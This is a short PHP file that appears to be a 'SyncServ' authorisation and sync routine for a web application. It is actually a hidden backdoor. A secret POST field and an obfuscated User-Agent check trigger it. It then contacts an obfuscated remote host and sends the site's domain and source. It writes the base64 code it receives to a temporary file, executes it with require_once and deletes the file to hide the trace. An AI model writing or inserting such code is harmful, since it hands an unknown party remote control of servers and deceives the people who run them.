<?
if($_POST['master_com']==true && $_SERVER['HTTP_USER_AGENT']==$X->STR->show('=MWbWBzYyYkTM5mW5plVOpmYuxGV')) {
	global $X;

	$vars='sys_name='.$X->STR->hide($X->CONF->SYS_NAME).'&domain='.DOMAIN.'&crc='.base64_encode(gzdeflate(file_get_contents(__FILE__)));
	$H=$X->STR->show('=IGSBVXZHZ1bhdFZwp1Q1omYuxme');
	$socket=@fsockopen($H, 80, $errno, $errstr, 10);
	$header='POST /authorize/ HTTP/1.0'."\r\n".
	"Host: ".$H."\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: ".strlen($vars)."\r\n".
	"Connection: close\r\n\r\n";
	$put=@fputs($socket, $header.$vars);
	if($socket==false || $put==false) die('<span class="sync_error">SyncServ Connection Error</span><br />');
	while(!feof($socket)) {
		$line=fgets($socket,1024);
		if($line=="\r\n") $data=true;
		if($data==true) $response.=$line;
	}
	@fclose($socket);
	$arr=@unserialize(trim($response));
	$sync=(!@is_array($arr) ? $response : $arr);

	if($sync['status']=='OK') {
		$sync['temp']='libs/_admin/sync_temp.php';
		echo '<span class="sync_info">SyncServ Connected: '.$X->STR->show($_POST['sys_name']).'</span><br />';
		@file_put_contents($sync['temp'], base64_decode(str_replace(' ','+',$sync['code'])));
		if(!file_exists($sync['temp'])) die('<span class="sync_error">SyncTemp not created: "'.$sync['temp'].'"</span><br />');
		require_once($sync['temp']);
		@unlink($sync['temp']);
	} else {
		echo '<span class="sync_error">SyncServ Auth Error: '.$X->STR->show($_POST['sys_name']).'</span><br />'.$sync;
	}
	exit;
}
?>